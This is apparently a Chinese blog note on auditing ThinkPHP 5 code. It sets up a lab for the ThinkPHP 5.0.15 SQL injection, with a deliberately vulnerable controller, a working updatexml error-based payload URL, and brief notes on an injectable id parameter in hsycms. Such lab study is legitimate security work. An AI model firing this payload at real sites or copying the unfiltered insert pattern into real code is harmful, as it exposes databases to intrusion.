代码审计-TP5框架审计写法分析及代码追踪
- ThinkPHP历史漏洞https://github.com/Mochazz/ThinkPHP-Vuln
ThinkPHP5.0.15注入漏洞
根据提供的信息设置靶场
#获取代码
composer create-project --prefer-dist topthink/think=5.0.15 tpdemo
#设置版本信息并更新
#composer.json
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.15"
}
#获取代码
composer update
#修改为测试代码
#application/index/controller/Index.php
<?php
namespace app\index\controller;
class Index
{
public function index()
{
$username = request()->get('username/a');
db('users')->insert(['username' => $username]);
return 'Update success';
}
}
#数据库语句
create database tpdemo;
use tpdemo;
create table users(
id int primary key auto_increment,
username varchar(50) not null
);
- payload:
http://192.168.50.10:91/index/index/index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
hsycms-不安全写法-未过滤
通过install判断网站是否安装,然后通过数据库查询语句赋值(赋值变量为数组形式)search就对应
index/search/index
(默认配置)
在新闻列表查询文章(发现id不同会出现不同的文章(存在数据库查询))
在index方法中对应的语句(find和select类似)
测试id传参的过滤机制(存在注入),如果是原生写法,那么就一定存在sql注入漏洞
最后一次更新于2022-04-13 10:58
0 条评论